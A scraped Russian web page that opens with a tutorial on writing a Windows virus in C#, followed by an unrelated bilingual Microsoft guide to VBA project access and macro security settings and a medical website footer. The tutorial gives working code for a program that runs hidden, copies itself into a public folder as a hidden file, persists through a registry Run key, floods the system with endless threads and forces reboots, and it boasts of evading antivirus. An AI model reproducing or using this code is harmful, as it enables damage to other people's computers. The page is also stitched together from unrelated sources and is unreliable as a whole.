Как написать вирус в visual studio












Пишем вирус на c#

Доброго времени суток читатели Хабра!
В этой статье я хотел бы поделиться опытом написания вредоносной программы на языке C# в Visual Studio. Для подтверждения своих слов я выложу пример полученного ПО для проверки.
Цели:

Написать вредоносную программу, которую не увидят антивирусы
Использовать только средства языка C#

Visual Studio 2005-2010 (я использовал 2010 Ultimate)
Знания и опыт работы на языке c#
Компьютер для опытов

На большинстве компьютеров с установленной Windows установлен framework не ниже 2.0, значит в проекте Visual Studio придется забыть про возможности Linq, и компилировать программу под вышеупомянутым фреймворком.
Мысль 2

Программу нужно сделать невидимой для пользователя, готов спорить Visual Studio даст такую возможность.

На этом первый этап можно считать завершенным, мы создали приложение которое будет работать на всех современных системах совершенно невидимо для пользователя. Можно проверить скомпилировав программу и запустив ее.
Этап 2:

reg = Registry.CurrentUser.CreateSubKey("Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\");
try
<
if (autorun)
reg.SetValue(name, ExePath);
else
reg.DeleteValue(name);
reg.Flush();
reg.Close();
>
catch
<
return false;
>
return true;
>

Так как наше вредоносное ПО будет запускаться на Windows XP, Vista и 7, добавим в проект класс размещенный тут. Это нужно для того чтоб программа могла определять систему в которой запущена, и копироваться в общую папку.
Далее приведен код добавляющий в автозагрузку наше приложение:
public static string needPatch = "C:\\\\Users\\\\Public\\\\";
public Form1()
<
if (OSVersionInfo.Name == "Windows 7" || OSVersionInfo.Name == "Windows Vista")
<
autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку
//SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки
>
else
if (OSVersionInfo.Name == "Windows XP")
<
needPatch = "C:\\\\Documents and Settings\\\\All Users\\\\";
autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку
//SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки
>
InitializeComponent();
>

Теперь научим будущий вирус копироваться на компьютер в общую папку. Впишем код в событие Form1_Load:
if (!File.Exists(needPatch + "system.exe"))
<
try
<
File.Copy("system.exe", needPatch + "system.exe");
File.SetAttributes(needPatch + "system.exe", FileAttributes.Hidden);

Программа самоскопировалась, и сделала себя скрытой.
На этом можно завершить этап 2. Мы создали программу, которая невидима для пользователя, самокопируется на компьютер и прописывается в автозагрузку. Далее осталось наполнить программу функционалом.

Пусть наш будущий вирус будет вызывать торможение системы и перезагрузку. Торможение системы реализуем следующим путем: бесконечно создаваемые потоки с бесконечным вычислением степени 2.
Добавим следующий код в Form1.cs

public static void sys_sleep()
<
while (true)
<
Thread s = new Thread(s_b);
s.Start();
>
>
private static void s_b()
<
int y = 2;
while (true)
<
y *= y;
>
>

С перезагрузкой посложнее, прибегнем к помощи WINAPI, допишем следующее:
[StructLayout(LayoutKind.Sequential, Pack = 1)]
internal struct TokPriv1Luid
<
public int Count;
public long Luid;
public int Attr;
>
[DllImport("kernel32.dll", ExactSpelling = true)]
internal static extern IntPtr GetCurrentProcess();
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
[DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool ExitWindowsEx(int flg, int rea);
internal const int EWX_REBOOT = 0x00000002;
internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege";
internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
internal const int TOKEN_QUERY = 0x00000008;
internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;

public static Thread thread1;
public static void DoExitWin(int flg)
<
bool ok;
TokPriv1Luid tp;
IntPtr hproc = GetCurrentProcess();
IntPtr htok = IntPtr.Zero;
ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
tp.Count = 1;
tp.Luid = 0;
tp.Attr = SE_PRIVILEGE_ENABLED;
ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp.Luid);
ok = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
ok = ExitWindowsEx(flg, 0);
>

Теперь опишем метод, который по таймеру будет вызывать еффекты работы нашей программы:
public static void start()
<
Stopwatch sw = new Stopwatch();
sw.Start();
bool b = true;
bool pl = false;
while (b)
<
if (sw.ElapsedMilliseconds > 20000)
<
if (!pl)
<
Thread g = new Thread(sys_sleep);
g.Start();
pl = true;
>
>
if (sw.ElapsedMilliseconds > 45000)
<
DoExitWin(EWX_REBOOT);
b = false;
>
>
>

Метод Start() будем вызывать в Form1_Load. Эта программа будет тормозить систему через 20 секунд, и перезагружаться на 45-й секунде работы.

Можно смело компилировать набранный код, скидывать полученную exe-шку на флешку и проверять созданный Вами вирус.
При запуске с флешки, программа самоскопируется, начнет тормозить систему и перезагрузит ее, после перезагрузки системы программа запустится через автозагрузку и продолжит свою работу. Антивирусы будут молчать, скромно наблюдая за беспорядками, которые выдает Ваша программа, ведь придраться то им не к чему.

В следующей статье я могу рассказать о том, как создавать более опасные неисправности, включая синий экран и отключение железа. А так же обход и отключение UAC.
Спасибо за внимание!

Необходимо явно разрешить доступ к системе проектов Visual Basic для приложений (VBA) в Microsoft Office, прежде чем можно будет создать или открыть Инструменты Visual Studio для Microsoft Office системного проекта. You must explicitly enable access to the Visual Basic for Applications (VBA) project system in Microsoft Office before you can create or open a Visual Studio Tools for the Microsoft Office system project.

Microsoft Office проектам разработки требуется доступ к системе проектов Visual Basic для приложений (VBA) в Microsoft Office Word и Microsoft Office Excel, даже если в проектах не используется Visual Basic для приложений. Microsoft Office development projects require access to the Visual Basic for Applications (VBA) project system in Microsoft Office Word and Microsoft Office Excel, even though the projects do not use Visual Basic for Applications. Поддержка элементов управления времени разработки в проектах Visual Basic и C# зависит от системы проектов Visual Basic для приложений. Design-time support of controls in both Visual Basic and C# projects depends on the Visual Basic for Applications project system.

Некоторые макровирусы Microsoft Office пытаются автоматизировать систему проектов Visual Basic для приложений как способ своего распространения. Some Microsoft Office macro viruses attempt to automate the Visual Basic for Applications project system as a means to propagate themselves. Разрешая доступ к системе проектов Visual Basic для приложений, вы отключаете средство защиты, которое позволяет предотвратить распространение макровирусов. By enabling access to the Visual Basic for Applications project system, you remove a safeguard that helps prevent the spread of macro viruses. Тем не менее, остаются стандартные средства обеспечения безопасности макросов: уровень безопасности макросов и список надежных издателей, поддерживаемый для приложений Office, помогут выявить выполнение макросов на компьютере. However, normal macro security remains in place, so the macro security level and the list of trusted publishers that you maintain for your Office applications will determine whether any macro runs on your computer.

Это касается только компьютера разработки. This applies only to the development computer. На компьютерах конечных пользователей этот параметр не требуется включать для запуска решений Office. End-user computers do not need this option enabled to run Office solutions.

Важно отметить, что отключение доступа к системе проектов Visual Basic для приложений само по себе не защитит вас от вирусов, оно просто помогает предотвратить распространение некоторых вирусов в другие документы в случае заражения компьютера макровирусом. It is important to note that disabling access to the Visual Basic for Applications project system on its own does not protect you from viruses, it simply helps to stop some viruses from spreading to other documents if your computer ever becomes infected with a macro virus. Эта возможность отключена по умолчанию, что обеспечивает дополнительный уровень защиты компьютера. Однако ее включение не делает ваш компьютер более подверженным атакам, если вы выполняете рекомендации по обеспечению безопасности. The option is disabled by default as an added layer of protection for your computer, but enabling it does not make your computer any more susceptible to viruses if you are following security best practices.

Наиболее надежная защита от макровирусов для Office заключается в том, чтобы запускать Office на высоком или высоком уровне безопасности, доверять только макросам проверенных, известных источников и оставаться в курсе обновлений безопасности и сканеров вирусов. The best protection against Office macro viruses is to run Office at the High or Very High security level, to only trust macros from verified, known sources, and to stay up-to-date with security patches and virus scanners.

Вы можете включить или отключить параметр Доверять доступ к Visual Basic проекту вручную. You can enable or disable the option Trust Access to Visual Basic Project manually.

При появлении ошибок VBA или COM можно восстановить установку Office. You can repair your installation of Office if you see VBA or COM errors.

Заинтересованы в разработке решений, которые расширяют опыт Office на нескольких платформах? Interested in developing solutions that extend the Office experience across multiple platforms? Ознакомьтесь с новой моделью Office Add-ins. Check out the new Office Add-ins model. Office Add-ins имеют небольшой след по сравнению с VSTO Дополнения и решения, и вы можете построить их с помощью практически любой технологии веб-программирования, такие как HTML5, JavaScript, CSS3, и XML. Office Add-ins have a small footprint compared to VSTO Add-ins and solutions, and you can build them by using almost any web programming technology, such as HTML5, JavaScript, CSS3, and XML.

Включение и отключение доступа к Visual Basic проектам To enable or disable access to Visual Basic projects

Перейдите на вкладку Файл . Click the File tab.

Щелкните Параметры. Click Options.

Щелкните центр управления безопасностью, а затем — Параметры центра управления безопасностью. Click Trust Center, and then click Trust Center Settings.

В центре управления безопасностьющелкните Параметры макросов. In the Trust Center, click Macro Settings.

Установите или снимите флажок Доверять доступ к объектной модели проекта VBA , чтобы включить или отключить доступ к Visual Basic проектам. Check or uncheck Trust access to the VBA project object model to enable or disable access to Visual Basic Projects.

Нажмите кнопку ОК. Click OK.

В меню Сервис в Word или Excel укажите пункт макрос, а затем выберите пункт Безопасность. On the Tools menu in Word or Excel, point to Macro, and then click Security.

В диалоговом окне Безопасность перейдите на вкладку Доверенные издатели . In the Security dialog box, click the Trusted Publishers tab.

Выберите для включения или снимите флажок, чтобы отключить, Доверять доступ к Visual Basic проекту. Select to enable, or clear to disable, Trust Access to Visual Basic Project.

Нажмите кнопку ОК. Click OK.

Настройка уровня безопасности макросов в Office To set your Office macro security level

Перейдите на вкладку Файл . Click the File tab.

Щелкните Параметры. Click Options.

Щелкните центр управления безопасностью, а затем — Параметры центра управления безопасностью. Click Trust Center, and then click Trust Center Settings.

В центре управления безопасностьющелкните Параметры макросов. In the Trust Center, click Macro Settings.

В разделе Параметры макросов выберите нужный параметр. In the Macro Settings section, select the desired setting.

Нажмите кнопку ОК. Click OK.

В меню Сервис в Word или Excel укажите пункт макрос, а затем выберите пункт Безопасность. On the Tools menu in Word or Excel, point to Macro, and then click Security.

На вкладке уровень безопасности выберите нужный параметр. On the Security Level tab, select the desired setting.

На вкладке уровень безопасности содержатся сведения о каждом уровне. The Security Level tab contains details about each level. Дополнительные сведения см. в разделе "Уровни безопасности макросов" справки Microsoft Office. For more information, see the topic "Macro Security Levels" in Office Help.

На панели управления запустите элемент Установка и удаление программ или программы и компоненты. In Control Panel, run Add or Remove Programs or Programs and Features.

Выберите Office в списке установленные программы . Select Office in the Currently installed programs list.

Щелкните Изменить. Click Change.

Выберите Добавить или удалить компоненты, а затем нажмите кнопку продолжить. Select Add or Remove Features, and then click Continue.

Выберите пункт Расширенная настройка приложений, а затем нажмите кнопку Далее. Select Choose advanced customization of applications, and then click Next.

Разверните узел Общие компоненты Office в списке выберите параметры обновления для приложений и средств . Expand Office Shared Features in the Choose update options for applications and tools list.

Откройте раскрывающееся меню рядом с Visual Basic для приложений, а затем выберите выполнить из мой компьютер. Open the drop-down menu next to Visual Basic for Applications, and then click Run from My Computer.

Нажмите кнопку Продолжить. Click Continue.

Нажмите кнопку Закрыть. Click Close.

Восстановление установки Office To repair your installation of Office

На панели управления запустите элемент Установка и удаление программ или программы и компоненты. In Control Panel, run Add or Remove Programs or Programs and Features.

Выберите текущую версию Office в списке установленные программы . Select your version of Office in the Currently installed programs list.

Щелкните Изменить. Click Change.

Выберите переустановить или восстановить, а затем нажмите кнопку Далее. Select Reinstall or Repair, and then click Next.

Выберите Обнаружение и исправление ошибок в установке Office, а затем нажмите кнопку установить. Select Detect and Repair errors in my Office installation, and then click Install.

Читайте также:

Пожалуйста, не занимайтесь самолечением!
При симпотмах заболевания - обратитесь к врачу.

Copyright © Иммунитет и инфекции